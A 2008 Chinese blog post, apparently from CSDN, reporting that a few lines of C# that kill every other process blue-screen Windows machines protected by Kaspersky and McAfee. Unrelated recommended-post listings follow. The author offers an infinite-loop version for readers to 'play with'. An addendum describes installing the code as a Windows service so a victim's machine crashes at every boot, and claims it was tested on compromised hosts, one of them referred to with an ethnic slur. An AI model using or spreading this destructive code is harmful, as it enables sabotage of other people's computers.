真没想到3行纯c#代码就造成死机,竟如此容易,还是最新的卡巴麦咖啡

原创 2008年09月29日 12:34:00

                try{foreach (Process p in Process.GetProcesses())
                    {try{if (p.Id != Process.GetCurrentProcess().Id)
                                p.Kill();}catch { }} }catch { }

 

这样就能死机?没错这样就能死机!

测试环境

1、winxp sp3(及所有关键、推荐更新)+卡巴2008最新病毒库    虚拟机里

2、win2003sp2(及所有关键、推荐更新)+今天刚装的最新的mcafee8.7企业版+antispyware    真机里

 

起因,今天没事在虚拟机测试者玩就这3行代码看看运行什么样的,本以为只能退出一些无关紧要的程序+出来一些错误提示而已,没想到一运行马上蓝屏就死机了,重启虚拟机又试,结果又马上就蓝屏死机,于是我想虚拟机系统本身有几个进程是虚拟机自带的是不是这个kill后造成系统失败呢,我就关上虚拟机在我的真机里测试。今天装的刚新出的mcafee8.7企业版,运行后系统的主题没有了,成了经典主体了,一般系统错误比较严重的时候出现这种情况。又马上运行一次,这次蓝屏死机了。真没想到造成死机这么容易,也没想到process.kill()如此的强劲,我有点肃然起敬,因为原来我感觉.net下面封装的类都是非常安全权限很低的,它把一些稍微危险的操作都去掉了,所以动不动就得找api的。

话说回来了,在真机里不是马上蓝屏是第二次执行的时候蓝屏的,不过这两次执行相隔不到2秒,那么改成这样就行了

            while (true)
            {
                try{foreach (Process p in Process.GetProcesses())
                    {try{if (p.Id != Process.GetCurrentProcess().Id)
                                p.Kill();}catch { }} }catch { }
            }

刚刚测试,绝无瞎话,由于很兴奋故上来打打字,大家有兴趣可以测试一下玩玩。

 

=========================

补充上午忘了一句p.Id != Process.GetCurrentProcess().Id就是说如果是本进程id就不kill,并且死循环,一点就会马上死机了,我在本机、虚拟机试了很多次,并在肉鸡试过很多次,屡试不爽。必须要加try catch,否则当遇到不能结束的进程什么的一报错本程序就崩溃了。

 

如果新建一个win服务程序,并在onstart的地方写上这段代码,并给某机器注册服务并启动,那么他的机器就再也启不来了,因为每次启动还没登陆的时候就死机了(已在某南棒肉鸡上试验)。那么能不能通过安全模式来取消注册,我没敢试过不好说。

iOS模拟器运行正常,真机测试直接崩溃

最近遇到一个很的问题,模拟器没有问题,手机跑直接崩溃,相应库文件没有加载,可明明已经加载,崩溃原因如下图 看了一些文档,大都是说将Xcode,clean一下,重新编译,但还是未能解决,不过最终还是...
  • h643342713
  • h643342713
  • 2016年11月28日 22:22
  • 2312

activity初探(基于kft-activiti-demo的一个小例子)

最近老板心血来潮要搞基于activiti的工作流,没办法,只能现学,看了两周,一个小总结。 前提准备: - eclipse安装acidity-designer插件 - 了解bpmn2.0基...
  • tyrant_800
  • tyrant_800
  • 2015年11月10日 21:06
  • 4459

解决Android studio呈卡死的现象

AS卡死问题修复
  • Wshiduo
  • Wshiduo
  • 2017年01月05日 21:19
  • 1273

真没想到你竟然是这种弹幕

.container { width:90%;margin:50px auto;border:1px solid red;position:relative;overflow:hidden;} ...
  • zsf53543831
  • zsf53543831
  • 2016年02月28日 22:52
  • 189

长期跑步给人带来的10个变化,真没想到!

跑步充满魅力。   我们都知道坚持跑步能让我们身体健康,可具体有哪些效果,你能说清楚么?   1、你肯定比别人年轻   维持肌肤年轻的两种蛋白质是胶原蛋白和弹性蛋白。随着年龄的增长,紫外线的照射...
  • dddxxxx
  • dddxxxx
  • 2016年08月27日 11:06
  • 381

真没想到!时隔3年,被废掉武功的快播,依然是最受欢迎的播放器

10年前,国内视频市场还处于野蛮生长阶段,版权意识不浓,视频资源也没现在这么全面。优酷称霸网络视频市场,成就土豆“千年老二”称号。迅雷下载器一直充当网络视频、游戏、音乐等的搬运工,下载到电脑。而有一款...
  • qq_35332807
  • qq_35332807
  • 2017年01月16日 14:21
  • 152

用麦咖啡防止可写目录提权

现在某虚拟主机系统又爆出可写目录了,这对服务器安全有很大威胁,不过可以选择改WEB.Config以及关闭Wscript.shell组件,但有些情况又必须开,下面说下如何用麦咖啡防止服务器的”可写目录”...
  • god_7z1
  • god_7z1
  • 2011年09月16日 11:31
  • 324

安装麦咖啡8.7出现--错误1920,怎么办? 解决办法

安装麦咖啡8.7出现-- 错误1920。启动失败。确认有足够的权限启动系统服务的解决方法重装至正在启动服务,出现安装程序信息:“错误1920。服务McAfee Framework服务(McAfee ...
  • keke0307
  • keke0307
  • 2012年05月02日 14:37
  • 2127

自己动手用麦咖啡(mcafee)打造自己的安全网站!安全系统(服务器)!

使用mcafee后,感觉它的监控真是没得说,的确不错的杀软,不过对于新手来说可能设置麻烦了点,但如果只用默认设置的话就安全性低了点,也许很多朋友都是导入现成的规则,本着DIY的想法,并且每个人都应该有...
  • god_7z1
  • god_7z1
  • 2011年09月02日 08:47
  • 545

没想到竟会是同桌的你

人非圣贤,孰能无过。几个月后,如果能再次出现在公众面前,并能坦然认错,我想,高晓松依然会是大家心目中的那个同桌的你。 ...
  • gaofeng2000
  • gaofeng2000
  • 2011年05月10日 22:42
  • 1872
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:真没想到3行纯c#代码就造成死机,竟如此容易,还是最新的卡巴麦咖啡
举报原因:
原因补充:

(最多只允许输入30个字)